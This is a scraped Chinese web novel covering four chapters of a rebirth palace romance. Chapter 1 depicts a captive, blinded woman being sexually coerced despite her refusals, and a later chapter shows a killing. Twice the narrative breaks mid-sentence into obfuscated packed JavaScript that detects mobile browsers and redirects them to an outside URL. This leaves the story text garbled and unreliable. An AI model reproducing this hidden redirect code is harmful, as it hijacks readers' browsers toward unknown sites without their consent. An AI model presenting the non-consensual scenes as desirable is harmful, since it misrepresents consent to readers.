《我夫君不可能是疯批反派》 1. 第1章 深冬北风呼啸,大雪簌簌。 巍峨宫殿内暗不见天日,唯有青金石麒麟兽面炉鼎渗出零星火光,细碎的火花爆裂声混合着屋外坚实沉稳的脚步声传入耳中,蜷缩在金丝红帐鸾榻上的人不受控制地瑟缩了下。 鹿微眠睫羽轻颤,在一片昏暗中睁开眼睛。 那双明丽星眸眼尾泛红,噙着一汪秋水,可惜失焦而空洞。 时至今日,鹿微眠已经接受了自己失明的事实,也接受了自己成为那人禁-脔的事实。 她想,这是她的报应。 鹿微眠手指轻轻蜷曲,攥紧蚕丝锦被,鸾帐内却因她这般小动作响起叮当铁链声响。 手腕上束缚感袭来,鹿微眠知道这是他在自己手上扣的锁链,将她囚困在床笫之间。 正巧他踏雪而来,远远听见这般响动心情很是愉悦。 房门关上后,来人的存在感更强了一些,鹿微眠如同一只小鹌鹑把自己缩进了被子里。 下一瞬锦被边缘就被冰凉而修长的手指勾住。 “不要。”鹿微眠羞耻地攥住被角,即便是看不见,也能感觉到那道幽深尖锐的视线,正隔着被子将她一寸一寸剖开。 男人弯唇,体贴却阴毒地询问着,“怎么了?” 鹿微眠咬紧下唇,缩了缩指尖,放弃抵抗。 他似乎还给她留了最后的体面,锦被只拨开一角,但下面蔓延开来的绵绵光景,足够令人心驰神荡。 她没穿衣服。 已经第三日了。 是那日她承受不住,大喊着恨他讨厌他,想要他去死。 他看起来并不生气,只是临走前,如今日这般温和体贴地给了她惩罚,三日不许穿衣。 这对于鹿微眠这等从小循规蹈矩的深闺千金来说,是莫大的刺激。 但他给的刺激早就不止这一点了。 他是个疯子,喜好乖戾,阴鸷狠毒。 寻常的情事无法满足他,他热衷于用各种稀奇古怪的花样来磨搓她脆弱的心理防线,爱看她身体失控的艳丽之态。 这锁链和脚踝上的铃铛算是一种。 男人冰凉的手指落在她的脸颊上,鹿微眠被冰得一颤,仿佛一只毒蛇攀爬而上,企图扼住她的喉咙。 黑暗中传来他迤逦愉悦的声音,“阿眠气色好多了。” 下一句,“看起来可以陪我玩新花样了。” 鹿微眠一瞬间心弦紧绷,慌忙躲开男人的手,攥着锦被后挪,带起身上的铁链发出叮叮当当的响声,“不,不行,我还……啊!” 手腕上的铁环突然被强劲的拉扯力道拽了过去,连带着她人也跌到了他面前。 鹿微眠又闻到了他身上诡异的清凉血香,仿佛能侵蚀意志,摧毁心智。 他摩挲着她的下颚,话语间满是乖戾气息,“说你愿意。” 鹿微眠唇角颤动着,隐约听到了男人打开盒子锁扣的声响。 接着从盒子里传来了震颤声。 他似乎很遗憾,“这是我新做的。可惜你看不见,不然你也会觉得它很漂亮,跟你这里很配。” 在东西靠近她时,鹿微眠骤然哭着挣扎起来,“我不愿意,我不喜欢,你走开别碰我。” “救命!”她想逃,求救时脱口而出的名字是,“封轸……” 男人没有过多反应,只拉扯了下手边银链,这只被绑住的蝴蝶就耷拉着翅膀,翩跹摇落在了他的手边,被迫承受他的怜爱。 “封轸是谁?”他明知故问,“哦,你的丈夫封行渊啊。” 他缓缓攥紧了手里禁锢她的银链,戏谑道,“可惜你的丈夫已经死了,是你亲手害死的他,不记得了吗?” 鹿微眠停止了挣扎。 那阴凉幽沉的声音就在耳边,调侃着,“我想他这辈子最后悔的事,就是没有早在你得知他的弱点时,杀了你。” “否则也不会让你那个心上人知晓,焚山将他烧死。” 鹿微眠心口一阵一阵抽痛,呆滞地望着某一处。 脸颊边落上男人冰冷刺骨的手指,描摹着她的下颚,“可惜你的太子哥哥也不过如此,登基后就赐死了你的家人。” 鹿微眠气息不稳,鼻尖泛酸。 是她的错。 当年,她和太子情投意合,准备议亲前,突然被皇帝指婚,作为朝廷人情嫁给封行渊。她听信了太子的鬼话,说日后定许她一个皇后之位。 她和封行渊之间只是名义夫妻,没有什么相处,话都没说两句,但封行渊也没有亏待过她,总是好脾气的跟她笑脸相迎。 他是个好人。 她虽然不愿意嫁给他,但从来没想过害他,他们彼此间也算是相敬如宾。 可她盼星星盼月亮地在封府苦等一年,却等来了太子利用她母族登基,过河拆桥后将她父母亲族处斩的消息,连封行渊也因她无辜受牵连,身死异乡。 明明她父亲一辈子克己奉公、勤俭持家、因听从太子所言的利民之策,才与朝廷提议修建了防洪的大工程江南水坝。 可那根本不是什么利民之策,而是太子下的一局棋,江南水坝因为偷工减料冲毁,恰逢皇帝南巡,造成了巨大的变故,江安城沉城,皇帝溺亡,曾与太子作对的无数百官大臣葬身洪水,甚至数以万计的无辜百姓伤亡惨重、流离失所。 称病留京的太子趁机登基称帝,她舅舅检举弹劾她父亲贪污受贿、吞吃工程款。太子顺水推舟要鹿氏一族入狱,斩首示众。她舅舅检举有功,册封公爵,其女也就是她表妹,册封为皇后。 封行渊被派遣前往江南平水患的路上,因为太子安插在她身边的眼线利用她得知了封行渊的弱点和行踪,导致他被围剿诛杀。 鹿微眠才知她和她无辜枉死的家人只是太子弑父登基、铲除异党、谋害封行渊、笼络兵权的棋子。 她父母亲族斩首的那天。 太子身边的太监一并告诉了她封行渊的死讯。 全家,只活了她一个。 鹿微眠急火攻心,生了一场大病,双目失明。 醒来那天,新帝身边的掌事太监高高在上地看着她,告诉她,“封夫人,您这一条命能留下,可是当今皇后娘娘的恩典。” “皇后娘娘要您节哀,这未来的日子还长着呢。” 这日子是长着。 但他们也没得意几日,叛军就趁乱从边关直指京城。 新帝登基第七日,城门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639697|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攻破,叛军杀入皇城,斩杀新帝新后。 再后来,她就成为了这个疯子的俘虏囚徒。 她起先,只是被下人送到他的房里,帮他打扮他的物件和用品。 最开始是打扮他的猫,他的桌椅床铺。 他似乎很喜欢用漂亮的东西打扮他身边的一切,但其实鹿微眠一直觉得他是在羞辱她。 毕竟她什么都看不见,总是需要花费很长的时间,去询问辨别手里拿的是什么东西什么颜色,然后弄成她自己都不知道是什么样子的东西。 虽是如此,但这样的俘虏生活倒也算得清闲。 后来他会让她帮忙打扮他,挑选他出门的各种衣物。 直到他心血来潮,开始打扮她,把她变成任由他摆弄装扮的玩偶。 起先还是很正常的衣物,到后来款式似乎变得越来越奇怪。 最后甚至只有几根坠着珠宝的金链。 他说很好看。 鹿微眠极其脆弱的羞耻心,在他每一次夸赞中,都会碎裂一次。 又随着他变本加厉的尝试,变得更加脆弱。 他逐渐开始喜欢在她身上戴各种东西,慢慢地不满足于她静态的样子,喜欢她动起来或者被动地呈现出什么姿态。 或者是往她身体里放什么东西。 比如现在。 她太天真了,做疯子的俘虏,怎么会轻松。 她做过的错事,怎么可能会一点苦果都没有。 鹿微眠咬着锦被,不知是眼泪还是什么将锦被上绣着的牡丹洇得光色暗淡。 银链阻挡,她碰不到身下的东西,足踝铃铛止不住的震颤,下意识地去寻求帮助。 她在一片黑暗之中抓到了男人的衣角。 那个恶鬼扶着她的下颚,修长玉指撬开了她的牙关,压住了她的贝齿,“很喜欢?” 鹿微眠牙关被压得发酸,甚至动作不敢太大地摇头,说话间会碰到他的手指,“放开我,不喜,不喜欢。” 他嗓音幽凉,“鹿微眠,你现在只能喜欢我,只能喜欢我给你的一切。” 他偏执地重复着,“说你愿意,你喜欢。” 鹿微眠不说话,更或者是,她说不出话来。 他问,“不然再试试,戴一晚上,明早告诉我你喜不喜欢,如何?” 鹿微眠手指轻轻攥紧,“不要……会死人的。” 她的声音绵绵婉转,听起来像是在撒娇。 他笑了,“死亡是这个世界上最轻松的事。我可舍不得你死。” 他又一次重复,“阿眠,说你愿意,你喜欢。” 她终于在身体失控中拉扯他的衣襟,银链叮当作响,妥协般的颤声依从,“我愿意,我喜欢,求你停……” 屋内响起他清朗笑声。 然后残忍的宣判,“既然阿眠这般喜欢,那更不能停了。” 疯子! 他这个疯子! 鹿微眠咬紧寝被,脆弱难耐。 眼前白光间,她仿佛看到了过往的一切。 如有能重来,她只要父母亲族平安顺遂,与封轸安稳度日。 她再不要痴心太子,再也不要招惹到这个疯子! 2. 第2章 大红喜床上喜帐分挂在两侧,床边围着两个婢女叫着一直在哭的女孩,“姑娘,姑娘醒醒。” 鹿微眠缓缓睁开眼睛,眼泪模糊了屋内的光影,但她的神情还呆滞无神。 床边婢女松了一口气,“姑娘总算醒了,这是又做噩梦了吗?” 鹿微眠听清楚暮云的声音,僵硬地转过头,看着床边两张熟悉的面孔,一时间怔愣住。 霎时间,她大脑一片空白,还以为是在梦中。 暮雨往外走,“姑娘醒了就好,刚刚夫人叫孙嬷嬷来催了,我得去回个信。” 鹿微眠难以置信地坐起身,环顾四周,被榻边烛灯晃了下眼睛。 她才有些复明的真实感。 鹿微眠伸手遮了下眼前光线,光晕从指缝倾泻而出落进眼底。 她看着自己掌心的纹路,又看到四周挂着的喜幡喜帐,窗户上贴着的喜字。 不远处,挂着她的那件鸾丝金线水波纹喜服。 眼前所有的一切都昭示着—— 她回来了。 她回到了出嫁的那一天。 她非常清楚地记得那天,是个入秋后寒凉的阴雨天气。 鹿微眠起身,慌忙走到窗口,打开窗户。 暮云察觉到鹿微眠的异样,追上去,“怎么了姑娘?” 屋外秋风卷着落叶吹了进来,午后的光景却阴暗如黄昏。 暮云连忙接过来关上窗户,“这大喜的日子,姑娘你才小睡起来,小心着凉。” 鹿微眠一时没有回话。 她真的回来了。 屏风外传来孙嬷嬷的催促声,“叫姑娘没?” “吉时要到了,再不起来就要误时辰了。” “我的小姑奶奶啊,什么时候还懒床。”孙嬷嬷火急火燎地绕过屏风,正要催促,一打眼看见窗边少女青丝散在肩头,肤若凝脂,一身红色寝衣更显俏丽柔软,站在那里眼泪汪汪地看着她。 这福样子,就算天王老子来了也有火发不出。 孙嬷嬷偃旗息鼓,叹了一口气,走上前,“好姑娘,嬷嬷知道你不想嫁,但这是圣上赐婚,也是没办法的事。” 孙嬷嬷是从小带她长大的乳娘,鹿微眠看着她,神情有些恍惚。 她这个乳娘是个粗人,脾气剽悍直率,不会说漂亮话,前世孙嬷嬷一直劝她接受现实,好好跟姑爷过日子。 鹿微眠不爱听,任性跟她大吵一架,大婚前主仆离心。 但前世抄家时,还是孙嬷嬷护着她逃跑,却被追兵一刀斩杀在她面前。 眼下这个时节,她应该是昨日将孙嬷嬷送去了母亲院子里,换了家里另一位嬷嬷带去夫家。 鹿微眠看着她出神,孙嬷嬷说什么她并没有听清。 孙嬷嬷上前拉着她去沐浴,鹿微眠摸到孙嬷嬷的手时才觉得这一切是真实的,她轻声开口,“是我的错。” 孙嬷嬷一时没反应过来,脚步蓦的停了下来,回头看向突然道歉的鹿微眠。 毕竟在她心里,从未觉得鹿微眠发脾气是错的。在她眼里,孩子闹个脾气而已,还是她的乖眠眠。 “这是出什么事了?”孙嬷嬷转头看向暮云暮雨。 暮云暮雨也摇了摇头,小声道,“姑娘许是做噩梦了,醒来便这样……” 孙嬷嬷仔细一想也是,他们姑娘一直不想嫁,大婚前做噩梦也正常。 多半吓着了。 “这大好的日子什么错不错的,”孙嬷嬷捧过鹿微眠粉白软糯的脸,擦掉眼泪,“别怕,日后要是在夫家受了委屈,回家给我老婆子讲,我去给你找场子。” “姑爷真有错处,老爷夫人定会帮你请旨和离,我们就先度过这阵子难关,别哭。” 孙嬷嬷说着招呼婢女赶紧服侍鹿微眠梳洗,出去给夫人回信。 她刚出门,肩膀就被人重重撞了一下。 孙嬷嬷踉跄一步,正要发作,对面人装着客客气气地笑道,“原来是孙嬷嬷,您不是该在前院,怎么过来了。” 孙嬷嬷看见是徐桦,到底是鹿微眠打算带去封府的管家嬷嬷,她也不好说什么,只板着脸,“夫人叫我来看看姑娘起来了吗。” “姑娘吩咐过,这里的事找我来就好了,免得您照顾夫人还要照顾她,再劳心伤神。”徐桦虚情假意地说完,敛起笑脸转头进了里屋。 话里话外是在挤兑她,说姑娘不要她了。 孙嬷嬷才不听她挑拨,拽了拽衣领,忍着出了鹿微眠的院子才嘀咕道,“说得真好,跟放屁一样。” 屋内鹿微眠梳洗后坐在梳妆台前。 暮云暮雨使劲帮她遮盖眼睛哭过的痕迹,但遮来遮去还是一片我见犹怜的红润。 这也不怪他们姑娘,明明月前,太子殿下还准备下聘议亲迎娶他们姑娘为太子妃,结果边关传来捷报,前几年领兵出征的封轸收复城池回京。天师说封轸回京当日,天上七星环月,开阳星紫红拖尾,是将星临世,大开国运之兆,需得厚待,若能得定世安宁的玉衡星女婚配,为大吉。 当今圣上信奉鬼神之说,当即大喜,升官加爵大肆封赏。举国寻找转世的玉衡星女,按照生辰八字找到了鹿微眠。 皇帝赐婚,抗旨是斩首的大罪。 他们姑娘短短月余就与相爱之人定终身又被拆散,被迫嫁给一个陌生人,成为国运的牺牲品。 听说新姑爷回来很少面世,爱戴着一角黑色面具遮住左眼,有传言称他相貌不佳,常年出生入死脸上有很难看的疤,难以见人。 而且这次回京虽是战胜,但也受了不小的伤,才十九岁不知会不会落下什么病根,陛下特地叮嘱免了姑爷不少接亲流程,谁也不敢闹他。 说不难过肯定不可能,姑娘不吃不喝数日,眼见着人都消瘦了不少。 直到后来太子殿下偷偷来看过,姑娘才好了些。 暮云劝慰着,“姑娘,这大喜的日子,便是不想嫁,咱们面上也……高兴一些,别让人拿了短处。” 鹿微眠看着镜子里的自己,“我想嫁的。” “其实我今天很高兴。” 暮云和暮雨面面相觑,不约而同地在对方眼中看到了担忧。 姑娘都难过得说胡话了。 婚事是黄昏开始,屋外喜婆高喊一声“吉时到”,鹿微眠带着盖头出门,徐桦搀扶着她,送她出门。 鹿微眠走到门口,红盖头之下,伸过一只轻握红绸的手臂,将红绸递给她。 那只手臂衣袖是与她相称的大红水波喜纹,手背筋骨分明,交错着几道疤痕,但肤色却白净如玉,看不出饱经风霜的样子。 鹿微眠一怔,盯着那只手愣了许久,慌忙抬头。 周身被清淡冷茶香笼罩,红纱阻隔,她只能看见少年隐隐的轮廓。 她心跳有片刻的凝滞。 对方以为是自己流程错了,将红绸交给喜婆,正要撤开,忽然被人扯住袖子。 少年身形一顿,垂眸看着这个小姑娘颤着手,摩挲过他的衣襟,扶上他的手臂。 她接过红绸也没有松手,反倒顺着他的手臂,又小心翼翼地滑落到了手指。 像是在确认着什么。 但蹭得他指尖发痒。 是他。 鹿微眠虽然跟封轸接触不多,但她印象很深,他的手很漂亮。 指骨修长、骨节分明,久经沙场但却意外地白净如玉,她偶尔会贪图眼福多看两眼这双手。 他还活着。 还没有被她害死。 喜婆见状打趣道,“新夫人得带郎君拜别双亲了。” 鹿微眠反应过来,不自在地松了手。 司空府外十里红妆铺路,爆竹声开路,地上被撒了不少红枣花生糖果,京城很久没有过这么热闹的婚事了,沿路酒肆商铺的人探头查看。 四周一片庆贺声。 鹿微眠拜别双亲后上了马车,红色帘幕放下遮住了外面的喜庆光景。 队伍启程,马车行驶颠簸起来,车窗帘幕上挂着的流苏止不住的震颤。 忽然间一个小字条从摇晃的帘幕缝隙中飞了进来,正好落在了鹿微眠的手边。 鹿微眠微怔,忽然想起来前世也有这东西。 是太子托人给她递的信,说了一些表达心意安抚她的话。 还说什么让她放心,婚房合卺酒内已经给封轸放了破元散,记得不要喝龙纹喜杯。 那东西不会对身体有什么影响,只不过会加重醉酒症状昏睡不醒、无法圆房罢了。 她甚至还很默契的,在婚前也给太子准备了一封书信,出府的时候让徐桦交给太子。 鹿微眠身形僵住,对了,书信! 鹿微眠慌忙开始翻袖子,果然被她藏在了袖子夹层里。 父亲母亲临近婚期怕她闹出笑话,对她看管极严,她这封表达情意的书信一直送不出去,就藏在了袖子里,打算等着婚嫁出府那日好趁乱让人送出去。 她昨日才重生醒过来,一时忘记拆下来烧了。 怎么偏给带出来了。 鹿微眠懊恼地抿唇,握住袖口,看来只能到封府再想办法烧了。 那个合卺酒里的破元散,前世封行渊得知她心有所属不愿成婚,根本没跟她喝合卺酒,也没留在房内。 鹿微眠攥紧字条,太子是有些以小人之心度君子之腹了。 鹿微眠叹了口气。 马车外,徐桦一直没等到姑娘给她递回信,很是疑惑。 她记得鹿微眠早早便说准备了回信,需要她帮忙大婚出府时送出去。 徐桦等不及,掀起帘子询问,“姑娘饿不饿,要不要吃些点心。” 鹿微眠回绝,叫她不必再问,徐桦才作罢。 当初她赶走了孙嬷嬷,留了徐桦帮她跟太子联络。 前世徐桦一直帮她给太子送信。 只是鹿微眠现在不太能确定,徐桦是因为听从了她的安排,才去找的太子。 还是她一开始就是太子安插进司空府的眼线。 如果是第一种,还算个忠主的仆。 如果是第二种,那这个徐桦留不得。 马车停在封府门口,封行渊的出身并不好,父母早亡送到京城亲戚家托孤,是寄养在这里长大。但到底是皇帝赐婚,封府里外也门庭若市,热闹非凡。 拜堂入洞房的翻覆流程走过,屋内只剩下他们两人。 鹿微眠坐在喜床边,红纱盖头挑起,少年的鹰纹青缎素面长靴映入眼帘,大红水波纹云雁喜服垂坠着,愈发显得他身形颀长,宽肩窄腰。 鹿微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639698|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠视线平齐他的腰线,一时间不敢抬头。 合卺酒就摆在婚床旁边的桌子上。 她记得他们成婚时,他年岁不大,身上少年气干净至纯。 面具之下的脸她也见过多次,不像是旁人揣测得相貌丑陋,刀疤纵横,相反他生得干净,是一双看起来就温和的杏眸,肤色也是晒不黑的冷白,如玉砌一般的人。 唯独那个遮住的眼睛里有一颗红痣,添了些妖冶气。 但是之前,新婚之夜她就跟他坦白了她心有所属。 他看起来平和地接受了这个事实,“无妨,我们日后各自安稳度日就好。” 封行渊脾气很好,她说什么,他都和和气气地接纳。 鹿微眠一时间更加愧疚。 她为了那样一个人,竟然害这般无辜纯良的夫君死无葬身之地。 屋内一时间没有人说话,沉寂得有些尴尬。 直到头顶的少年清音将她思绪拉回,“夫人眼睛好红,是哭过吗?” 熟悉的对话,仿佛下一瞬她就要坦白,“嫁与你实非我所愿。” 鹿微眠敛眸,打断回忆,换了个说辞,“方才离家前拜别父母双亲,哭了一会儿。” “成婚嫁人远离双亲,的确委屈夫人了。”他嗓音是极致的体贴,唇角带着一抹浅笑,忽而补充了一句,“何况嫁与我,也实非你所愿。” 鹿微眠心跳漏了一拍,抬眼迎上了少年澄澈黑瞳,还是止不住的心悸。 她的声音不知是心虚,还是不安,格外的轻,“没有啊。” 封行渊平和如常,“不用紧张,我知道你与太子殿下情投意合,这婚事是圣上赐婚,你我都无辜受牵连,我们日后各自安稳度日。若有机会和离,我也会尽早放你自由。” “时候不早,我就不打扰你休息了。” “等等!”鹿微眠见事情发展还跟前世一样,有些着急地起身追了两步,在拽住封行渊袖口时,突然踩空了榻边脚床! 封行渊大概也没有想到,胸口突然间撞进来一团软绵。 少年双手僵直,并没有碰她。 鹿微眠堪堪扶住他的手臂才站稳。 鹿微眠赶忙解释,“我不知你是从何处听说,但我与太子再无可能,你可放心。我既嫁与你,就会好好待你的。” “你不喜欢我,和我接触不会勉强吗?” 鹿微眠简单直白道,“不勉强的。” 封行渊别有深意地看了她一会儿,似乎是在辨别她话中真假,更多的是不信。 鹿微眠又重复一遍,“和你成婚,我不勉强。” 封行渊显然也没有纠结太多,只是有意无意提起,“既然如此,我们的夫妻礼成,还差一杯合卺酒。” 提起合卺酒,鹿微眠心里咯噔一下。 好巧不巧,他怎么就提到了合卺酒。 他的话语间,夹杂着很明显的试探,“喝吗?” 鹿微眠微哽,看着桌上一对龙凤酒杯。 按照太子的说法,那个龙纹酒杯里下了破元散。 虽说那东西没有什么影响,只是醉酒昏睡,但到底前世封行渊没喝,鹿微眠也不知道太子有没有骗她。 她正纠结着,只见封行渊朝着龙纹酒杯伸手。 在他白皙指尖即将碰到酒杯时,鹿微眠抢先一步拿了过去。 封行渊好心好意地提醒,“这杯是我的。” “我是想说,”鹿微眠费劲地转圜,“若是喝了它,能让你信我是真心实意地与你成婚,那也好。” 不管是什么,她都认了。 封行渊打量她片刻,顺着她的话,拿起来旁边的凤纹杯。 交杯间,鹿微眠迟疑着,抬眼撞上少年略带审视的黑瞳。 他听起来颇为良善宽厚,“不想喝也不必勉强。” 鹿微眠不想让他看出异样,“没有勉强。” 话落,将手中酒水一饮而尽。 苦酒入喉,干涩辛辣。 在她胃里灼烧着。 鹿微眠放下酒盏,扶着桌子轻咳了一阵。 她祈祷这会儿就要看慕青辞的良心了,别真的诓骗她没有其他作用,但实际上是毒药。 没多久,鹿微眠就发现自己站不住了。 她顺势跌坐在桌边座椅上,胃里的灼烧感缓慢地蔓延到四肢百骸,最后聚集在小腹。 耳边是他清越的嗓音,“夫人怎么了?” “我,我可能有些不胜酒力。”鹿微眠尽量让自己看起来正常,“你扶我去休息一会儿就好了。” 她的手下意识地搭在少年手臂上。 封行渊也自然而然地扶她,将她扶到婚床上。 少年眉眼低垂,看着她脸颊攀上不正常的红润,“夫人看起来可不像是不胜酒力。” 他不说还好,提起来鹿微眠就感觉到身体内的灼烧感逐渐幻化为麻痒,仿佛无数只小虫子,开始一点点啃噬她的小腹。 “看起来更像是中了某种药。” 鹿微眠心虚得不行,从刚才她就能感觉到封行渊在试探她,索性坦白,“其实,其实我知道这合卺酒里被人下了东西,我宁愿自己喝下……” 封行渊很是认真地理解了一番她的反应,“知道下了合欢散还喝,夫人很想圆房吗?” 3. 第3章 合、欢、散?! 鹿微眠脑袋“嗡”地一下,盯着面前的空酒杯发懵。 这不是太子给的破元散吗? 怎么会是合欢用的? 什么意思。 鹿微眠半晌发出了一个卡顿的声音,“啊?” 封行渊回了一个轻扬的音调,“嗯?” “我……我不知道这是……”鹿微眠后知后觉地开始心悸,身体燥热被一瞬间放大,她下意识抓紧床幔,“我……” 她怎么会知道,这根本也不是什么破元散,是合欢散。 这还不如毒药让她吐两口血,还能让封行渊看在她为他试毒的份上,相信她是真的想跟他好好过。 鹿微眠茫然地看向身边人,委屈得想哭。 屋内本就只有他们两人,其实这会儿就算他们圆房也合情合理。 但她刚哄他说自己愿意成婚,就迫不及待地圆房,实在是有些轻佻和刻意。 反而像是她勾-引他,有什么不可告人的目的。 少女大红喜服娇俏,眸若秋水无助地望着眼前同样身着婚服的少年。 这幅样子落在男人眼里,很难分清是委屈,还是想要。 封行渊不知道是好脾气地给她找了个台阶下,还是故意点她,“如此这般,我倒是信了夫人愿意与我成婚。” 鹿微眠听不了他这慢条斯理的腔调,每一个字句都像是在折磨她敏感的神经。 她还是出于本能的拉了下他的手,“你有办法帮帮我吗。” 他打量着她,明知故问,“怎么帮?” 鹿微眠哽住,小虫子啃得她开始胡言乱语,“怎么帮都好。” 封行渊看她手指缠住他的手掌,动作很是温和又疏离地掰开,“那就请夫人忍一忍,我差人来送药。” 他说完,先离开了房间。 直到他离开,鹿微眠才彻底撑不住。 好在药送来得也够快。 鹿微眠才不至于失了体统、丢了脸面。 暮云也不知道她这是怎么了,只能看到她额角一层薄汗,脸颊胭脂色浓重。 像是发热了一般,但喝下姑爷差人准备的药就好多了。 鹿微眠无力地任由暮云暮雨帮她卸掉钗环。 心里不知道把慕青辞骂了多少遍。 暮云看了看屋外,疑惑地询问,“姑娘……哦不,夫人,姑爷还会来吗?” 鹿微眠泄气似的趴在桌边,声音细弱蚊蝇,“别管他了,管管我吧。” 太丢人了。 醉酒昏睡和毒药都能接受,但她怎么能冲上去抢着喝了一杯交欢的酒。 好刻意。 封行渊一定觉得她很不正经。 暮云暮雨不用想,也知道,这对被迫成婚的小夫妻第一次交谈不太顺利。 这件事情上她们也不敢多言语,只能劝道,“姑爷走了也好,姑娘你还能自在些。” 鹿微眠动了动唇,到底是什么都没说。 一双大红喜烛前,喜帐放下笼着榻间那一抹香影,鹿微眠懊恼地看着不远处的空酒杯。 所以太子在封行渊的酒里下药,根本就不是担心她不想圆房。 而是想让他们尽早生米煮成熟饭,好吹枕边风帮他探查封行渊吗? 不要脸! 还好封行渊是个正人君子。 鹿微眠气得在床上翻了个身。 寝间,房外传来通报声,徐桦进来送牛乳。 鹿微眠睡前有喝牛乳的习惯,她便应允徐桦进来。 徐桦将温好的牛乳送到鹿微眠床头,搓着手站在旁边等。 鹿微眠喝完不见她走,抬头看过去。 徐桦环顾四周,小声暗示道,“夫人可是忘了些什么……” 鹿微眠没懂。 徐桦说得就更直白了些,“比如给家里带个信什么的?” 鹿微眠骤然想起来,徐桦是在暗示她给太子写得那封信。 鹿微眠堵住了她的话,敷衍道,“我今日才嫁进来,三日后就回门了,还不需要给家里带信。” “另外,我既嫁入封府,便不会再与不该来往的人来往了。” 徐桦正欲再问,鹿微眠顺手将床幔拉上,躺进了床榻里并不打算再回话。 徐桦只能作罢离开。 临走前还东张西望地看看有没有什么备好的信件。 但的确什么都没有。 鹿微眠竖着耳朵,听到徐桦离开立马坐直了身子,翻身下床。 对了,她怎么忘了处理那封信。 即便是她不看,都记得那封信有多么令人羞耻。 信里全篇都是她对太子诉说自己愚蠢的少女心事。 鹿微眠试图销毁罪证一般快速下床。 她找到自己换下来的婚服,摸到袖口,掌心一空! 鹿微眠顿了顿,再度翻找了一遍,霎时五雷轰顶! 她的信呢?! 她好大的一封信呢?! * 屋外,孤灯月影高悬。 前来参加婚宴的宾客走了七七八八,院内树影婆娑,愈发昏暗。 路上偶有红色灯盏照明,摇晃间却意外带出些许阴森气息。 此番是圣上赐婚,今日来的多半是京中有头有脸的贵客,即便是不情愿封府的人也必须招待周全。 封府二房夫人有些不满意,“真是欠那个小兔崽子的。” 身边中年男人挨个迎送宾客,扶着发酸的腰也没说话。 二夫人拉过他,“你别装聋,陛下的赏赐就给了那么点。今日成婚,我们可都赔进去了,那小兔崽子一点也不念咱们养育之恩,还让我们受累招待宾客,哪有这样的道理。” “陛下赐婚就少说两句吧。”男人也不高兴,“我之前就盘算,他若是死在边关,那赏赐功勋就都是我们的,谁知道他活着回来了。你说他一条贱命怎么就那么硬。” 等又有客人走过,夫妻二人立马恢复了一张和善面孔。 他们客客气气地打招呼,“张天师,天师您慢走。” 如今皇帝信奉鬼神之说,司天台张天师在朝中的地位不容小觑,今晚酒席不少人都前来给他敬酒攀谈。 而这门婚事,也是张天师一手促成的。 不然他们也攀不上鹿司空这样的亲家。 二夫人接上之前的话茬,“我早让你处理掉他,偏偏你畏手畏脚不敢动。” “我如何处理他,他是在边关活下来的人,”封贺思忖着,“不过迎的新妇家里还算阔绰,兴许是有些好处。” 他们看着屋内宾客走得差不多,那位天师是最后一位,便也转身回了屋 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而湖内,是封行渊新养的食人鲳。 近乎是人一掉下去,潜游在湖底的食人鲳一拥而上! 封行渊闲庭信步地走到湖边,看着自己喂养的鱼儿,轻哄道,“瞧你们急得,慢慢吃。” 少年漂亮干净的眉眼柔和无比,说出的话却令人胆寒,“很快就有下一顿了。” 水面冒了几个泡,丝丝缕缕鲜血漂浮上来,与湖边跳跃的红烛火苗相映。 封行渊回到自己的房间内,才吩咐着身边随侍,“备水。” 凌一应声,“是。” 清水送到屋内,封行渊将碰过那个醉鬼的手擦洗干净,那一副温和纯良的样子,怎么看怎么浸染血色幽冷。 他净手后,才提起另一件事,“不是说她哭了多日,不想嫁?” “原是这样的,太子去过就好了一些。”凌一也捉摸不透其中缘由,“今日她那般拉拢您,明知太子在合卺酒里下了合欢散,又主动喝下,莫不是……得了太子授意?改用美人计意图不轨?” “慕青辞竟也舍得。” 封行渊拿着干净的帕子,慢条斯理地擦净水珠,“原本她不想嫁无妨,我也不想娶。我们大可以相安无事,安稳度日。可她若有别的心思,那就得吃点苦头了。” 封行渊想起方才在屋内,那粉雕玉琢、柔软甜糯的小姑娘拉着他的手,看起来情真意切、口口声声地说着—— 她和太子再无可能,她会好好待他。 封行渊忽然轻快地笑了,闲来无事才从袖口拿出来那一封满布褶皱的书信。 看起来像是被小心翼翼地藏匿许久。 可惜在她要他扶上床榻时,被他一并顺了出来。 她表现得如何奇怪不重要,要看她不想让他知道什么。 打开是小姑娘的隽秀小楷。 上面同样情真意切地写着甜腻的少女心事。 末尾是一句,“子珩哥哥,我心匪石,不可转。” 子珩,是太子的小字。 封行渊轻“啧”一声,“这么喜欢子珩哥哥啊。” “那你说,她会喜欢我的鱼儿吗?” 4. 第4章 雨是深夜下起来的。 淅淅沥沥的雨珠接连打落在飞檐翘脚,溅起层层雨雾,将偌大的封府笼罩得无比静谧。 湖边连一丝一毫的血腥味都闻不见。 直至天明,封府里外、朝堂上下都没有人发现张天师离奇失踪。 唯有司天台在点卯时分发现张天师并未出现,去住处询问探查才知他一夜未归。 鹿微眠晨起坐在镜前梳妆时便听到院里洒扫的小厮谈起朝廷来了人,问昨晚张天师什么时候走的。 说着好好一个大活人,参加完喜宴就不见了。 鹿微眠问暮云,“张天师不见了?” 